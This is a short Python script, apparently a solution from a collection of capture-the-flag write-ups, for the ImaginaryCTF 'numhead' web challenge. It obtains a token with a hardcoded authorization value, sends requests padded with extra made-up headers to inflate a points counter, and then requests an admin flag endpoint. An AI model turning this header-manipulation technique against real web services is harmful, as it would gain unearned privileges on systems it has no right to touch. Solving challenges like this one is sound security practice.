Write-ups/misc/exploit.py
2021-10-02 01:10:55 +05:30

19 lines
847 B
Python

import requests
# import json
url = "https://numhead.chal.imaginaryctf.org/"
new_token_json = requests.post(url + "api/user/new-token", headers={'authorization':'0nlyL33tHax0rsAll0w3d', 'imaginary_discoveries':'test'})
new_token = new_token_json.json()
choice = 50
header = {'authorization':new_token['id']}
for i in range(10):
new_field = f"blah{i}"
header[new_field] = f"test{i}"
r = requests.post(url + f"api/user/nothing-here", headers=header)
# r = requests.post(url + f"api/user/nothing-here", headers={'authorization':new_token['id'], 'imaginary_discoveries':'test', 'test':'blah', 'test1':'blah'})
points = requests.get(url + "api/user/points", headers={'authorization':new_token['id']})
flag = requests.get(url + "api/admin/flag", headers={'authorization':new_token['id']})
print(r.text)
print(points.text)
print(flag.text)